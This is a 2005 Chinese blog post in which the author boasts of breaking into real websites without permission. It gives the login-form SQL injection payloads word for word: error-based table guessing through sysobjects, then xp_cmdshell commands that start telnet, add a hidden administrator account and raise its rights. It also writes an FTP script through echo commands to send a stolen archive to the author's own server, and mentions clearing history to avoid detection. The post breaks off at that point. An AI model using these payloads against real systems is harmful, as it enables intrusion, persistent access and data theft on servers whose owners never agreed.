玩程序的人

Treat every thing as usual...

  IT博客 :: 首页 ::  :: 聚合  :: 管理
  28 Posts :: 3 Stories :: 4 Comments :: 0 Trackbacks
   :em215:昨天上班的时候看了一下院学生工作的网站,发现居然有注入漏洞,于是用工具把密码和数据库都暴出来了,登录管理哎,这么容易就获得管理权限了....找个时间得跟院里说说,幸亏现在没挂到我们的服务器上,否则就有的惨了。
   :em211:后来又想到了某某网站的漏洞,上次没太仔细研究,虽然有注入漏洞但是也没有利用得到。于是夜里就开始研究。
   首先从登录的地方注入开始入手,用户名打个引号,结果,出错:
   [Microsoft][SQLServer 2000 Driver for JDBC][SQLServer]字符串 ''' 之前有未闭合的引号。
   有门!不过当时并没有想到这个连接数据库的用户有如此高的权限,所以一直都是用猜表名的方法,浪费的好多时间,最后猜出几个无关紧要的表名,没什么用处。猜的办法很简单啦,就是构造sql语句:用户名里面填 ' and (select count(*) from xxx)>1--
   不过这样猜中的几率就不大了,又想到了数据库是sql server的,可以利用系统表嘛,于是写入' and (select top 1 name from sysobjects where xtype='U') >0--,OK,报错,[Microsoft][SQLServer 2000 Driver for JDBC][SQLServer]将 nvarchar 值 'ad_status_history_0422' 转换为数据类型为 int 的列时发生语法错误。表名出来一个了,下面的呢?呵呵,可以利用一下Sql Server的随机排序,然后写入' and (select top 1 name from sysobjects where xtype='U' order by newID()) >0--,[Microsoft][SQLServer 2000 Driver for JDBC][SQLServer]将 nvarchar 值 'ad_status' 转换为数据类型为 int 的列时发生语法错误。然后使劲的刷几遍,表名就随机出现....这样就知道表名了,字段名也可以用同样的办法。不过我实在是没有耐心一个一个的来试了,于是就碰碰运气,直接';exec master.dbo.xp_cmdshell 'net start telnet'--,执行完以后,telnet上去,Oh MyGod,居然连上去了....只是认证方式不允许我这样连接,不怕,反正我都可以执行任意的命令了,这台机器,嘿嘿....肯定是搞得定了!试试3389端口,开放的,既然可以执行任意命令,就先建个用户,再提升权限好了,于是输入';exec master.dbo.xp_cmdshell 'net user Administrator1 /add'--,添加一个用户,然后';exec master.dbo.xp_cmdshell 'net localgroup administrators Administrator1 /add'--,提升权限也OK了,现在嘛,连接上去,就像控制本机一样的了!居然没有装任何杀毒和网络防火墙,真是胆子够大。。随便看看它的目录里都有什么,网站是用的resion做的服务器,sql server里面有一个用户的数据库,什么都能看到了....然后就浏览了一下它的硬盘,C盘里面有个xxxxxlogin.rar的压缩文件和文件夹,打开看了看,里面好像是一些页面和配置文件,觉得这个应该蛮有用,因为我的目的不是这台服务器,而是另外一台。于是准备给弄下来研究研究,不过直接copy不行,用IPC连不上,所以想直接放到网站的文件夹下直接下载,不过又想到这样也太容易暴露自己了,还是不行,于是就想在我机器上装ftp,通过ftp传到我机器上,这样就万无一失了....正这样想着,突然屏幕跳出来提示框,说我快要超过了回话时间限制,于是赶紧清掉自己访问的历史记录,慌忙的退了出来。再想登进去就进不去了。。。不过幸好我还可以再网页上执行命令嘛,只是不能显示结果,这个好办,现在我只要把那个rar给upload到我的机器上就OK了,于是先得做一个文本文件保存ftp的指令
分别执行';master.dbo.xp_cmdshell 'echo open xxx.xxx.xxx.xxx 8888 >> c:\winnt\system32\system.log  --
';master.dbo.xp_cmdshell 'echo Administrator >>  c:\winnt\system32\system.log ' --
';master.dbo.xp_cmdshell 'echo XXXXXX>>  c:\winnt\system32\system.log ' --
';master.dbo.xp_cmdshell 'echo PUT C:\xxx\yyy\zzz.rar>>  c:\winnt\system32\system.log ' --
...
文章来源:http://cnxiaowei.yculblog.com/post.678865.html
posted on 2005-07-06 21:51 玩人的程序 阅读(130) 评论(0)  编辑 收藏 引用
只有注册用户登录后才能发表评论。